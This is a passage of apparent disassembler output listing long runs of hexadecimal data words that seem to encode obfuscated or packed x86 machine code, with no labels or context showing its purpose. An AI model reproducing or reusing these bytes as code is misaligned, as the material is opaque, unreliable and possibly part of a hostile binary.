0C1911183h, 0F7D39C13h, 2F22A29Eh, 880F5EF8h dd 5, 0F88B6653h, 0F98B665Ah, 830FD38Bh, 5, 6AA3C8BEh dd 0FE941h, 0BC010000h, 9BDFD5CDh, 0D45A8F67h, 0CE597A86h dd 8D0FF9A2h, 20h, 14E8h, 72BE3300h, 4D0A2F4h, 0A996795h dd 0A7A149DDh, 2E789ECDh, 810F90h, 58000000h, 34C8BB66h dd 4820Fh, 60570000h, 6E85F61h, 2E000000h, 7AA76BFh, 58C38BCAh dd 80D1B70Fh, 0A2BFDEEFh, 0F131588h, 1F87h, 0AE86000h dd 0F4000000h, 47D8500Fh, 0DFBF8D11h, 7E85F45h, 44000000h dd 10BF38B6h, 615E2A01h, 2800Fh, 0F48A0000h, 18890Fh, 13E90000h dd 3A000000h, 6216C0DAh, 0BC2FFC02h, 0A6E01EE3h, 37FB4C4Ah dd 0EC80CF20h, 0DBB70F97h, 51BBA66h, 9CD0E5B8h, 2830F48h dd 0B0000000h, 8B66FC58h, 14E9F5CAh, 0A000000h, 4C9543C3h dd 62E2212Ch, 1C2FDC16h, 0C19221FCh, 60540C0Eh, 81D98B66h dd 0D21639F1h, 81666166h, 0FF7CCF2h, 8Eh, 48B0F00h, 52000000h dd 0F5A06B4h, 589h, 0F424BF00h, 0BF0F7BC3h, 8E0F50D3h dd 6, 820Fh, 52580000h, 59CEB70Fh, 7B5BF181h, 0AE850CFh dd 0E9000000h, 0B0D2991Fh, 68E5D18h, 0D850FDEh, 0E9000000h dd 8, 0D824101Ch, 0AF8279EBh, 0B8CB8A5Eh, 2B91D8F3h, 48D0Fh dd 0BF660000h, 0B70F4EF2h, 12E9FAh, 938D0000h, 1E60CF5Eh dd 0CEFEBE07h, 0DECD67B9h, 362EE697h, 5F45B256h, 66C7BF0Fh dd 0E9242DBEh, 5, 10998D13h, 0DABB669Bh, 1BECB9EEh, 80575FE8h dd 6659CEC4h, 839AEA81h, 2740C981h, 830F1C84h, 14h, 0CE8h dd 0FD928500h, 28A0F4Eh, 364C9794h, 5AFA8BC1h, 0CAC18166h dd 79B96643h, 10E8A6h, 42D70000h, 3E344886h, 1B2157BEh dd 7B62B963h, 3CB1094Fh, 0BB66FC59h, 0FE8759Dh, 21000000h dd 0DD678920h, 0F39615C4h, 0F4B658C2h, 0C6807346h, 9E858D7h dd 0E1000000h, 0F8D30F8Dh, 75623B7Fh, 0E9DE8B5Eh, 9, 887ECE7Dh dd 0F38389B4h, 9E819h, 64640000h, 1002EE54h, 661BC8EAh dd 605AD38Bh, 80D0B70Fh, 0E86195D3h, 9, 0D3DF9D33h, 0E5B6DB48h dd 3FDBBC0h, 60591507h, 0C4C8BF66h, 614BD180h, 0E8DB8166h dd 0F18BFC5Bh, 0F5DEB70Fh, 0D7B70FF5h, 47C68166h, 38C0F81h dd 80000000h, 0F38B9EEDh, 53C18BFCh, 83B9BA66h, 0F7BF0F5Fh dd 5E8h, 0FE326900h, 12E9CCDAh, 11000000h, 3054664Bh, 27340F98h dd 0C5758679h, 385D4AF1h, 8B665A8Ch, 76DA81C1h, 8B7B44C9h dd 401CBBD0h, 0DE93C71h, 0C000000h, 2D39E78Eh, 352D7A32h dd 27AC71B1h, 0B810Fh, 0F600000h, 89h, 0CEBF0F00h, 0F28B6661h dd 0BE8h, 5ECBF200h, 4B5BDAB7h, 0A895F7D0h, 0E6816656h dd 58580FC0h, 4890Fh, 0B8660000h, 3CB8415Eh, 0F4FD867h dd 850FDBBFh, 1, 5DAABEF5h, 0F28B1A3Bh, 51C68B66h, 68CF8166h dd 0BF0F5E31h, 8880FCAh, 0F000000h, 283h, 8ADE8B00h, 3595BFF5h dd 8D0F0939h, 4, 7E87B866h, 65B866F8h, 0E6F68196h, 0B95DB92Ah dd 729464A7h, 81D8B70Fh, 2877DDF7h, 10E954h, 61A10000h dd 0BE3779A6h, 17BEFE2Eh, 99F6AEB9h, 0FE95A6Bh, 4B000000h dd 9CFE1CD1h, 0DD1B8BECh, 0D0536650h, 81532D8Fh, 0E27E9BCBh dd 0AE95A2Dh, 0E2000000h, 157FD26Eh, 0A7CFDBDFh, 0FE9609Bh dd 33000000h, 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 8B665EBCh dd 0EDBB61F2h, 66706513h, 0C28AF78Bh, 5567BF66h, 0D3B70FF9h dd 890FF28Bh, 14h, 0E8E0Fh, 9E90000h, 31000000h, 0DF7060E1h dd 9CA288CCh, 870FFB8Bh, 4, 70A1BE66h, 5928B866h, 0B880Fh dd 6E90000h, 7B000000h, 6BAE54A4h, 9E931h, 525F0000h, 6532A658h dd 81516ED3h, 16183FE7h, 0E85A5649h, 12h, 6E04531Ah, 0F047413Ch dd 64E68D0Eh, 2E173DBEh, 0FA8BB2D5h, 81F9F55Bh, 0E0E5BBE8h dd 0C2B70F34h, 5ABDBE66h, 0F56DA8Bh, 580h, 0B325BB00h dd 8B580F97h, 0D9BA66D7h, 32840F63h, 0E8000000h, 14h, 0E576A066h dd 0B4D58080h, 0B4CCAB84h, 2AF3FE7Dh, 0C0B9A123h, 13E9h dd 0D8043500h, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h, 438B542Fh dd 0BE95Fh, 0FE8C0000h, 66FFF68Ch, 5FC7D8D0h, 21870F0Fh dd 60000000h, 7E8h, 0A7176C00h, 2989EA13h, 0DE95Bh, 3EB10000h dd 94267091h, 8D6925EBh, 6143A707h, 8E9h, 45905A00h, 2575E63Ch dd 0B9C88BF3h, 6D9EF190h, 48A0Fh, 60600000h, 60606161h dd 98BACA8Bh, 617183A2h, 0AFB561F5h, 7B7CB866h, 0CD42B966h dd 0EE8F9h, 3C180000h, 0D78930CBh, 413D1890h, 59805476h dd 0BF0F5EFCh, 6E9C8h, 0AC710000h, 8FFEE127h, 0F80D63BFh dd 6E8530Dh, 6A000000h, 7A279F80h, 0F55E59C0h, 803CD580h dd 0B866A0C6h, 0E957AB3Ah, 6, 811A84Ch, 81592A3Eh, 33914CD9h dd 8C0F5268h, 4, 4078BA66h, 77BB605Ah, 575CB5F5h, 0DE9h dd 6A9EEF00h, 2303F887h, 5F76DAC8h, 615EB8A4h, 28B0Fh dd 0F28B0000h, 15810Fh, 0EE80000h, 0BF000000h, 87E4D3BBh dd 3AB33D82h, 0A66ECE6Dh, 0B659F578h, 50BA6680h, 0E960F54Ah dd 0Ch, 639771CAh, 980E95D5h, 96B1408Dh, 0BE9h, 0E301FB00h dd 0B4BB82CDh, 9EB5F692h, 8C0FF861h, 7 dd 0F5A5060h, 0E961FBB7h, 0Dh, 355F8D31h, 0E6AB166Bh, 3A6BB97Ah dd 661FB675h, 3C1DE381h, 880FC18Bh, 3, 8B05EC80h, 28F0FD8h dd 0B7000000h, 81EF8A1Bh, 0E03AB9E0h, 3895B829h, 0BF0F1DD7h dd 0DA8166C8h, 81669FBBh, 0B910BED8h, 563A0445h, 0A2D78166h dd 8B0DB348h, 8E9C3h, 0D5430000h, 0C54D275h, 8D0FDEBAh dd 14h, 8E8h, 745AAF00h, 623013Bh, 8F0F59h, 5B000000h dd 0A937D0BEh, 8840F08h, 0F000000h, 285h, 66D18A00h, 9902DE81h dd 0BE5ECE80h, 0ECF4102h, 60F8FCF5h, 0B70FC78Ah, 0E8B261C6h dd 0BAF8CF8Bh, 42F8A981h, 11E9h, 0E2A3C700h, 5E93BDCh dd 1CF9EA23h, 235BF286h, 9E835E0h, 80000000h, 0C9A8B459h dd 781F0257h, 30CE8166h, 0BF0F5EE0h, 0E9D68BD8h, 7, 0E9D7E8DAh dd 60C27A19h, 0D2C98166h, 0BB666106h, 0B9662B1Fh, 0F18102B5h dd 6A42C534h, 52CF8B66h, 0BF0F5EF9h, 0CE9C1h, 0A71F0000h dd 91E5C1ABh, 7178274Dh, 6E8EBD5h, 0B7000000h, 0D86204C7h dd 12E989h, 90360000h, 3B0711E1h, 0CBAEAAAh, 1AEE9CA0h dd 32B532D6h, 0D6B70F59h, 60CAB70Fh, 86BAE681h, 666166F1h dd 0EFD3DA81h, 12E9h, 252EE700h, 1368CBEh, 0D05A5310h dd 256574ACh, 6675CA23h, 0F8A6DABBh, 800Fh, 0C4B70000h dd 28F0Fh, 0D18B0000h, 5870Fh, 5B90000h, 0F4CFA1Ch, 850FC6BFh dd 0 aS_5 db '²´é',9,0 db 2 dup(0), 23h dd 1231B7BBh, 0C0219A82h, 5E8F28Bh, 0A1000000h, 1D1732B8h dd 0F58F8B6h, 0C88AD9BFh, 0DE860h, 76200000h, 59ABDF65h dd 69AAD83Dh, 0F5712A4h, 565ED3B7h, 840Fh, 615A0000h, 2800Fh dd 0C18B0000h, 0D980D08Bh, 81CE8B40h, 0F20F3BCEh, 0E9D68B26h dd 0Eh, 5B778DD9h, 7336FE76h, 5B2CFE2Ch, 800FE315h, 4 dd 0C4CBA66h, 0AE9h, 4C2DDB00h, 12C6E424h, 0B47DD0B1h dd 0FE94Ah, 0BD140000h, 1B5F73B7h, 0A7FA7FB1h, 0A0FCEDCh dd 0CB8160F3h, 23770F21h, 1BD78166h, 816661CDh, 0B8E6CCC9h dd 14F8CFCCh, 820FC88Bh, 12h, 0DE9h, 3F244500h, 0B19E241Eh dd 7735C364h, 52520893h, 14E8h, 64826C00h, 86CADAh, 3610FE48h dd 364E526Dh, 0CE64F683h, 585E5A07h, 66DE8B60h, 2474D281h dd 0D98B6661h, 0D98BE66h, 0B5C2BF0Fh, 0F18B6699h, 0BE8DE8Bh dd 2B000000h, 4EF65D10h, 0D725D152h, 0BB66779Ch, 665F62E6h dd 81849DB9h, 2D250FE0h, 0BACA8068h, 0E9FEBF0Fh, 0Ah, 4B190822h dd 1CC24FEEh, 0EE92741h, 0A0000000h, 0DD2BF933h, 0F4563520h dd 1B36D6A6h, 6CDFB8DEh, 0F080748Ah, 0E8F8B18Dh, 0Dh, 0C6F6C5E8h dd 2BBB374Ch, 7CBB0A47h, 4D2BA67h, 0E9582EC8h, 0Ch, 2DB4FC61h dd 87D067Fh, 756AF43Ah, 60D6BF0Fh, 10E9h, 0FC21FE00h, 4C82C4F4h dd 77A7BBB3h, 58196715h, 0F3DB8097h, 11E961h, 0E4AB0000h dd 185DEA1Fh, 6CD27D80h, 1971F497h, 505D5572h, 13E9h, 409E2500h dd 0F3D9D7D8h, 5575968Fh, 0CF825986h, 0B9B5C3E4h, 0FDBA665Bh dd 0F18B66B3h, 16C888BBh, 0C28B6638h, 0FE9h, 0A9B46800h dd 0D7B05777h, 24E94841h, 0F744A9A3h, 0F2C3B966h, 0AE80DBB8h dd 0C2B70F36h, 0CF8B50FCh, 12D6805Fh, 0A039E381h, 0EE9565Dh dd 45000000h, 0B4E61DDBh, 6347FA1Fh, 89F8AD45h, 0F3A2B92Fh dd 0FF55985h, 88Ah, 0C7815000h, 6858B8CDh, 0A1C38059h dd 81D4EE80h, 18FDBCD6h, 0BE96075h, 1C000000h, 0F2B1E4F5h dd 8028B76Ch, 0BE50DDEDh, 40446E4Dh, 11E9615Fh, 0F2000000h dd 0D5B22849h, 25DEAB2Eh, 0DA52C1EEh, 19E9D7E8h, 0FFEB70Fh dd 13E9C8BFh, 0B5000000h, 0A9CE6E66h, 8E59BA19h, 0F52872CAh dd 945ACF78h, 890F042Fh, 0 dd 29C18166h, 2800FB3h, 0B4000000h, 0FB2FBBD3h, 0FFC01B4h dd 0BF0FDFBFh, 6E960D3h, 76000000h, 6F47F624h, 8E9F6h dd 6B920000h, 715FE925h, 0F61C212h, 6EB5C9B7h, 8142CB81h dd 0CB814DF8h, 14A7D430h, 4890Fh, 0BB660000h, 0F780C12Dh dd 36E98117h, 66669F18h, 2E08E881h, 0C081F48Ah, 3BBBF69Fh dd 0CB8166FCh, 0BF0F3455h, 0E8B7B0CBh, 5, 0E99C91D2h, 6E960h dd 70EB0000h, 7EDD71F0h, 11E85Bh, 7520000h, 0F57198E2h dd 0C3191027h, 0FD4A9158h, 0F862EF6h, 68Ah, 800F00h, 58000000h dd 0EE9h, 424CA300h, 61CAC71Dh, 0A3BD6879h, 0F808C50h dd 8166FBB7h, 0B7D54CC7h, 9FBABEDCh, 11E952AAh, 0E8000000h dd 832B97C9h, 8C11E455h, 1D4FCF93h, 0FB2DB8B2h, 46EE40BAh dd 880F6013h, 12h, 0DE9h, 0D2330300h, 6ED727B2h, 7B7E93ADh dd 0CE9AFBBh, 0D3000000h, 29DFB3B0h, 0CE34986Fh, 61807FD7h dd 60B1F280h, 3810Fh, 8B660000h, 5F09BBCFh, 0BF612C37h dd 0FBB5B75h, 0E8FB8B66h, 5, 12E9EE9Dh, 0B96660EAh, 58613EAFh dd 10880Fh, 7E80000h, 80000000h, 2AF00357h, 0B70F9DE2h dd 81665ED7h, 0E9026CD2h, 10h, 0A4349E31h, 0F0FA9E3Fh dd 9E96369Bh, 0DD631F33h, 0F595E380h, 8AA4E381h, 8DB741BEh dd 13E8h, 34B2C100h, 0CCEC4FB8h, 0DFA98C07h, 0FA70950Fh dd 9B593D2h, 25C5BB58h, 0BF0F5B3Dh, 8B0F60F7h, 3, 663AE580h dd 619744B9h, 0E9F560F8h, 14h, 0B8B21D4Fh, 5E76FB2Dh, 93942EF4h dd 9A002837h, 93BBCA7h, 0ECDA8161h, 660C214Ch, 8B66F18Bh dd 0DFB70FF3h, 14E9h, 0FBAD0600h, 617B6CF6h, 0EC3E72B8h dd 8A7085CDh, 517DF90Dh, 5E9F92Ch, 2C000000h, 0F4B37755h dd 0AE95F52h, 13000000h, 2BA79F00h, 87991A33h, 0EA816621h dd 13E95E0Dh, 0E9000000h, 0AFB2EA12h, 1B59A143h, 7B5C14FBh dd 0FE0BA0F1h, 81666371h, 81419CE1h, 745D96E1h, 0D9BB663Dh dd 11E975h, 89F20000h, 7F066101h, 41E3D539h, 5774965Ch dd 0E9A49F87h, 0Fh, 179A9049h, 90A885B5h, 0BEF85C63h, 0F6E7069h dd 882h, 2850F00h, 8B000000h, 0F951F8D0h, 19800F5Eh, 0E8000000h dd 11h, 0ABEDAE7Eh, 65CED2D7h, 0DD4A71A7h, 39F0C809h, 5A5E5370h dd 0BB25E180h, 1F197A1Eh, 50D9BE66h, 0FDEBF0Fh, 788h, 44BE5600h dd 58165183h, 3709DF81h, 0EF817F02h, 59593C6Fh, 66FE8B66h dd 0CE6DE181h, 0AE8DB866h, 0DE8h, 9EEA1600h, 0D9AAA83Fh dd 7CA81148h, 5EF53BC2h, 0B4C5B966h, 0F5D2DC80h, 8E4599BBh dd 0E6816668h, 81667BA7h, 0FF9BDEEh, 78Fh, 1880F00h, 0F8000000h dd 14E8h, 0A76CC200h, 33EF33EEh, 0AE6E069Eh, 7BC45B1Dh dd 3A1CED59h, 6E990h, 0D6320000h, 360034DAh, 0F3BF0F5Ah dd 5B57D2B1h, 0C2D98166h, 0C28B6635h, 0FCEB70Fh, 85h, 11E900h dd 75600000h, 18BA9E7Fh, 8C91A267h, 5CB2B913h, 0E90E75B9h dd 11h, 84EC472Dh, 3BBF49A3h, 91671DA2h, 307695Fh, 870FF5A0h dd 4, 0F16CB966h, 60F8E0B2h, 0F6C628BAh, 82B8666Eh, 0D2816105h dd 1E5FAEE8h, 0FFFBF0Fh, 38Eh, 0D8B70F00h, 662FE880h, 0C281C78Bh dd 531A1963h, 0B7D8B70Fh, 28BF660Fh, 6820FE0h, 0F000000h dd 8Ch, 0DF8B6600h, 0F7E38166h, 10E960B5h, 85000000h, 67AB1D3Eh dd 3F7E6F5Fh, 300156C8h, 0F78D1AFh, 1280h, 0DE900h, 92150000h dd 0B6B9CFADh, 0A11D8C9Bh, 615EA833h, 0B9DE8166h, 0FE8A7h dd 4690000h, 6F21A31Ch, 1A71D720h, 0A38FA60Fh, 0FC5BF82Ah dd 66F28B66h, 0D760CF81h, 660BE280h, 22B8D38Bh, 5711032Dh dd 38E0Fh, 0D6800000h, 0B9665AA1h, 0F180A360h, 0EE824h dd 93830000h, 444C4DF4h, 5CC4DE68h, 7185A0Bh, 3D43BF66h dd 7E8535Eh, 4D000000h, 68A6DE7Ah, 8B664240h, 66595ACEh dd 0D2C9CF81h, 66DAB70Fh, 0F3BBDBFh, 589h, 0EF4DBA00h dd 9E83F07h, 9F000000h, 0E76BC44Bh, 258030CCh, 89F18166h dd 52605895h, 615E5950h, 0FE8h, 0B940C500h, 7B031051h dd 28807D4Eh, 3A52E133h, 5AF18B66h, 13E8h, 722BE800h, 6ABA805Fh dd 7CFBB5Bh, 0C3386A99h, 3F52A4A9h, 515FDA81h, 525B5D06h dd 16840Fh, 11E90000h, 1E000000h, 1A90C9FBh, 81665E58h dd 0D1809CF2h, 0E34C526Bh, 13E959h, 22D50000h, 0D05649D8h dd 574E35A8h, 0B0C4B231h, 65C01F5Ah, 0F55F50B9h, 0F78B97B0h dd 68A0Fh, 0C1810000h, 1E0D3040h, 0C830Fh, 6E80000h, 4C000000h dd 0EBCD2288h, 0BB60589Ch, 318CEA7Ah, 0EF82D681h, 0E8616A8Eh dd 8, 82B24F5Eh, 1755CCFAh, 10E9h, 23A27900h, 5EF55E99h dd 0B300D7B9h, 6762ED2Fh, 7E95F2Ch, 0DA000000h, 0E86D0468h dd 0E88A5620h, 8A8ABB66h, 860FC28Bh, 6, 87B5DF81h, 0BF0F5736h dd 0F8CA8BCBh, 8A70BFh, 0EE917h, 0C3AB0000h, 2150EEB2h dd 0E31E249Eh, 579CB740h, 6650F9FCh, 535BDF8Bh, 7E8h, 7645E200h dd 81A33CB0h, 5BCEB70Fh, 9E9605Eh, 83000000h, 62BCA0ECh dd 1AE1EB60h, 69BF6661h, 830F60EDh, 2, 0BF0F58B2h, 816661C8h dd 0BA9445CEh, 6AF0F5EBh, 0DB7D20B9h, 0CF69BA14h, 0BF66000Ah dd 6660CB9Dh, 61FCD38Bh, 16850F60h, 0E9000000h, 11h, 902A2E92h dd 0A75F2F75h, 1A69586Bh, 50C64297h, 61D98B89h, 1A8A0Fh dd 0E8570000h, 12h, 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h dd 5E5FB124h, 13E9h, 1E60CF00h, 0CEFEBE07h, 0DECD67B9h dd 362EE697h, 3B114D23h, 2860Fh, 0F28B0000h, 8166F5B0h dd 0F9703F0h, 387h, 0D7BF0F00h, 10EF8166h, 66F5F5D0h, 505AF6BBh dd 8ECDD381h, 815B783Dh, 6E78CFE9h, 0AE91Bh, 80A80000h dd 8CEAEC6Dh, 65564482h, 0EE9h, 18C35900h, 7B1D3F6h, 7367CF9Bh dd 0F9FBD90Fh, 6E9h, 1D6DE300h, 66924018h, 0AB11CF81h dd 66F1B70Fh, 11E9DA8Bh, 5B000000h, 0C2C4B495h, 50A51B3h dd 755D8986h, 0B126B7CAh, 13E9h, 8C689200h, 0E41C77B8h dd 6D84C67Eh, 2AD15168h, 0C31BC1C9h, 6850Fh, 0E8810000h dd 544291B3h, 58C0Fh, 81660000h, 53C3C9DAh, 13E9h, 176EA100h dd 507A1729h, 3FA587DDh, 426C8F29h, 0CCC53EFDh, 852DBB5Bh dd 8E81FDDh, 0FB000000h, 94835C3Ch, 60157556h, 8C0Fh, 5B610000h dd 0E919E580h, 8, 0C3B043B0h, 0A0EEC2E1h, 81665952h, 81403DD9h dd 8DC87EBh, 860FF562h, 9, 77C58060h, 1295BE66h, 97C78061h dd 0F5A4CF80h, 3800Fh, 8B660000h, 80FBB0CFh, 0B86679E4h dd 5257490Eh, 5B06D480h, 33B7BF5Ah, 0CD802427h, 58D0FEEh dd 0B8000000h, 6FB61E9Dh, 0AE9h, 0A578100h, 0FE67542Bh dd 0F0D16B5h, 584h, 0C3816600h, 10E9D39Eh, 0C4000000h dd 0F2E313Bh, 30005E6Ah, 76D30D94h, 0F5102966h, 7FE78166h dd 0D8C0FDCh, 53000000h, 5E8h, 1DAB0300h, 585E0EF6h, 5E84BF66h dd 8166C38Ah, 66B3C1E6h, 0F88F2DBAh, 8B0Fh, 0BE90000h dd 1000000h, 78D1AF30h, 66A88B6Bh, 8E828BBh, 0FB000000h dd 7E7C64CCh, 66C7BE2Eh, 1977DA81h, 0E68A6059h, 752EB966h dd 60D88B61h, 90ECBB66h, 0AC2CBA66h, 12E861h, 0DD7D0000h dd 60677612h, 5107D746h, 860BA856h, 5CCA18A7h, 4D10B966h dd 0C381665Ah, 8160229Dh, 0BFCED6E0h, 0B6BA660Eh, 0C38B61ECh dd 7E8h, 0A2B92300h, 9C97E4E3h, 0B9A91EBEh, 890F5940h dd 1, 0CF8DBAF5h, 0BB664DF7h, 0CA80BA18h, 68F480E6h, 0BF665F50h dd 0B1B51CC4h, 2B86653h, 0C68B5BADh, 8D0FDD8Ah, 3, 0E835CB80h dd 0Dh, 292C94C1h, 0D470CF6Eh, 3653EC24h, 5959527Eh, 38D0Fh dd 8B660000h, 0C0B70FFEh, 8B66C78Bh, 0A840FF1h, 0F000000h dd 489h, 53BB6600h, 2810FB3h, 8B000000h, 515BBBD6h, 7E9153Ah dd 0C9000000h, 340AF39h, 7E91DABh, 3A000000h, 747FEBE6h dd 0B86617CEh, 8A0F7B06h, 6, 8E0Fh, 0BF0F0000h, 28C0FDAh dd 8A000000h, 13E9EFh, 2EFE0000h, 61FF03Eh, 925B631Dh dd 7262E663h, 0D4095170h, 0C881660Fh, 0BF0FFBDDh, 0F5360F2h dd 8Ah, 0F615E00h, 8B66C3BFh, 6850FF3h, 81000000h, 0E7A6C9CBh dd 0DBB70F13h, 0CE960h, 0C4C90000h, 3B8C8C1h, 0F3106163h dd 0F08BF414h, 0F38B6661h, 60FABF0Fh, 12E960h, 0DD730000h dd 8F73E778h, 8A3B2716h, 0F63C3566h, 0D487162Fh, 873DE181h dd 8B612240h, 66F961CBh, 0C65EB81h, 0B966F28Bh, 14E9F4C3h dd 25000000h, 614A0D15h, 0D32499F9h, 0E105B73Fh, 0B099EECh dd 0E9940911h, 9, 6EE27565h, 0DF157FD2h, 0C98166DBh, 0F60FF10h dd 85h, 0B70F6100h, 43E681FAh, 0F25B78Eh, 39BED8BFh, 8026B542h dd 0DF8175D2h, 369A1FB4h, 0CE860h, 11590000h, 0BB52E8AFh dd 93B53D64h, 0CE85046h, 5C000000h, 0FF4D796Ch, 1A867437h dd 5BE3F2FEh, 47BE6658h, 0AE861B4h, 0AA000000h, 57E9ED14h dd 95BD5222h, 14E926h, 8E420000h, 61C79BDh, 1ACE01CCh dd 6C5A7736h, 552D1A5Fh, 665A71EEh, 0E93882BFh, 14h, 6D21718Ch dd 1FE24CC3h, 0F4F9D218h, 0D422B9A3h, 7EDE82EEh, 6660DA8Bh dd 0BE66FA8Bh, 0F616E79h, 14E9C7B7h, 6000000h, 121DEF3Dh dd 0F2E98EB6h, 0C4120BB4h, 97175C10h, 6026C7F9h, 0D3F08166h dd 0EADE8063h, 98C0F61h, 0F000000h, 384h, 0D7B70F00h, 44B0DE8Bh dd 0CC33BE60h, 81663438h, 61F7D1DBh, 5820Fh, 81660000h dd 0F69D4CEh, 289h, 66FDB200h, 8B66DA8Bh, 0F28160C1h, 49ACF0AFh dd 0E861D08Bh, 13h, 7264DA26h, 4F965932h, 871517FAh, 3528B2ADh dd 0F1E06CEh, 68Dh, 890F00h, 5F000000h, 0FF3B70Fh, 58Ch dd 0C2816600h, 0BE90F40h, 2000000h, 66B3A9D8h, 97BE7E8Ch dd 0B70F13C6h, 0EBEE81CBh, 0F1CA6D8h, 0EA81CEBFh, 0EE213C6h dd 10E8h, 0B7B6ED00h, 0D1F2F4C2h, 9BD655C5h, 0B27C78ECh dd 0C8816621h, 60586300h, 0B66177B2h, 0D1B1BA90h, 0BF663527h dd 11E87FF5h, 90000000h, 412A9947h, 9BE009A5h, 61928106h dd 0A5DC9431h, 0F18B6659h, 0F60E980h, 589h, 0CB816600h dd 0D181904Eh, 21D097A0h, 6E9h, 9C092900h, 0E8F1E5E1h dd 12h, 6B2F4154h, 18481A60h, 0BCAADD85h, 73C1712Ch, 0CA8BA9A1h dd 6FCDBF58h, 0BA665BC9h, 76B99711h, 0F3882D3h, 178Ch dd 12E900h, 0E6660000h, 3CF9CA4Fh, 0D9F132DAh, 0EADA8485h dd 443A784Ah, 0CAF38166h, 0FE91Fh, 0A5550000h, 564BA1C5h dd 17E03532h, 87C7D0FBh, 0F080508Fh, 13E95EC3h, 94000000h dd 94B2E113h, 0F5DC8407h, 159A5EA4h, 866F578Ch, 0BF66DB13h dd 0FE8B5557h, 0FC2BF0Fh, 8166C8B7h, 661BD6EEh, 0B70FD78Bh dd 28C0FF3h, 8B000000h, 3880FDAh, 80000000h, 9E999E2h dd 1B000000h, 466BBC4h, 21109FD3h, 0D8B70F57h, 0F681665Eh dd 0AE8346Bh, 0D5000000h, 529C8447h, 6DDC5C67h, 0C0BF0F90h dd 0B866605Ah, 0BF614D8Eh, 541E20BEh, 0E830F50h, 0E8000000h dd 8, 43C2B46Bh, 0E9E2FE8Ah, 7E95B58h, 21000000h, 645B2B8h dd 8166FC9Bh, 80E9E2E6h, 0CE93DDDh, 5B000000h, 0EDCEEAE6h dd 0C8DD43CBh, 0BBE6E444h, 32F99D33h, 0CEF08052h, 6820F58h dd 81000000h, 18962FF0h, 60F9F56Bh, 15840Fh, 10E90000h dd 52000000h, 82DE7EACh, 56BB26Eh, 81AFE01Dh, 0F261C99h dd 384h, 99E78000h, 88B0F61h, 53000000h, 0C12BE081h, 0B15E2688h dd 0D7B70F95h, 0EE18166h, 88D281E6h, 0E93A93AEh, 10h, 0A87B1583h dd 13DD84B6h, 53E79898h, 0E1DA6543h, 81665060h, 5AA963CEh dd 830Fh, 66610000h, 0F51CE8Bh, 815ACFB7h, 450ECACEh, 108E0F6Dh dd 0E9000000h, 0Bh, 548D640Bh, 976ACE91h, 0E98D8ED2h, 7 dd 0CDA0E3BEh, 66E31071h, 8E9D38Bh, 52000000h, 2D03C2F4h dd 0E94E6724h, 0Bh, 0F4AD0928h, 7F463877h, 0F1F6E79h, 8166F0B7h dd 0FC2F64EAh, 0BB6660F5h, 61F83CD2h, 4282BB66h, 3840Fh dd 8B660000h, 9593BBD8h, 0F96023FCh, 61C78B66h, 7E9h, 7F118900h dd 36D3CD1Ah, 0BF0F6060h, 6586BEF8h, 0FC610412h, 0CE961h dd 94080000h, 26D5FAC5h, 87F178A7h, 860F7209h, 0Ch, 7E9h dd 0DA6F7B00h, 4C785CE3h, 0E7DFBA66h, 13E8h, 90973800h dd 0C48CD458h, 75077B5Ah, 27B378Ch, 0E341C0DBh, 8A0F51h dd 59000000h, 0E988B259h, 0Bh, 0DF088802h, 0C200C014h dd 668FFA97h, 519DADBBh, 5AFE8B66h, 0DE9h, 4F6A1600h, 0EDA4720Eh dd 23846C79h, 0B70F3B9Bh, 48E0FF3h, 66000000h, 804018BBh dd 0DE81F5D6h, 2A1254EAh, 1DE9EA81h, 0F8B35D5Ch, 0FC6ECC80h dd 0AE850h, 2BD60000h, 4EF65D10h, 0D725D152h, 342ED881h dd 595F456Fh, 0A629B866h, 0BE9h, 13B1E700h, 0B365D24Ch dd 26CC7D62h, 68B0Fh, 0DA810000h, 741EB8C3h, 0E9CBBF0Fh dd 12h, 45C2EE14h, 2238E396h, 61E1405Dh, 92111266h, 8F0FDC91h dd 2, 8166CA8Bh, 0F02CFEAh, 0B966CEBFh, 0BE665AEDh, 0BB66686Bh dd 6E9EAC8h, 8C000000h, 1D4FCF93h, 0EF8166B2h, 0BF661D8Fh dd 0BF0FF014h, 3880FD8h, 0F000000h, 9E9C0B7h, 4F000000h dd 0B5F2368h, 562C8B1Fh, 0CE39B966h, 5E9F8h, 0C8830000h dd 6673B43Ah, 5BDBC781h, 0DE9h, 286A6900h, 0D772FDDh, 0AD8936A4h dd 0DD8A2474h, 4225B866h, 598BE081h, 830F792Fh, 5, 432CF7B9h dd 5E802h, 1D710000h, 0E9C53D34h, 7, 0F8F2656Bh, 5A619444h dd 0BEB8166h, 188A0F91h, 57000000h, 11E9h, 0F6CEA00h, 0CD013D58h dd 0B9FCD4C8h, 0AA065255h, 56586FF7h, 2800Fh, 5B500000h dd 0EE81665Ah, 66607E40h, 66926FB8h, 61F2D3B8h, 0E8CA8B66h dd 8, 6762ED2Fh, 2F99F22Ch, 805ED9B7h, 0CB8A3FE3h, 0DE8h dd 99015100h, 259D519Ch, 26D266Bh, 0F5509A4Dh, 11E95F5Ah dd 0DB000000h, 5100C53Ah, 22A90B9h, 0B9C9B2F4h, 3ED73758h dd 0EA408EBBh, 90F4807Bh, 69ECD1B9h, 9C38BF73h, 13E8208Bh dd 21000000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh, 706C0598h dd 890F7F8Bh, 6, 800Fh, 815E0000h, 7C6854F3h, 0E5BB6006h dd 614AA7D5h, 0FF2B70Fh, 0BF0FC0BFh, 0CBD780FBh, 0BE9h dd 0FFAEE000h, 0F279FBEEh, 5D886DA4h, 0C1BF0F60h, 0D38B61F5h dd 11E9h dd 0BE1AC600h, 745FC61Bh, 22EA62EEh, 82DA6C67h, 0B70F2492h dd 0DA8160F7h, 1B8750F7h, 61DF8B66h, 0D38B6653h, 8B66505Bh dd 0BE95FCAh, 2C000000h, 9C162273h, 854E5384h, 0BA51A573h dd 1695CBF9h, 8B66525Eh, 5B5158F2h, 886CC981h, 860F33A2h dd 8, 8F0F51h, 5B000000h, 0B70FF88Ah, 10E9FFh, 0D5B60000h dd 7BA2A10Ah, 73D2E8Fh, 53A0A997h, 12E97A6Ah, 7D000000h dd 0FE183B4Dh, 0ABBCB760h, 0DC6B4BC4h, 5A595D2h, 13E997h dd 0F2440000h, 9AD5C681h, 0AF5AA0DAh, 8C9D4E5Bh, 0C887FA5Fh dd 8E90Eh, 73FA0000h, 2A84D510h, 0B966D58Eh, 0B70F7CD3h dd 0C879B8C1h, 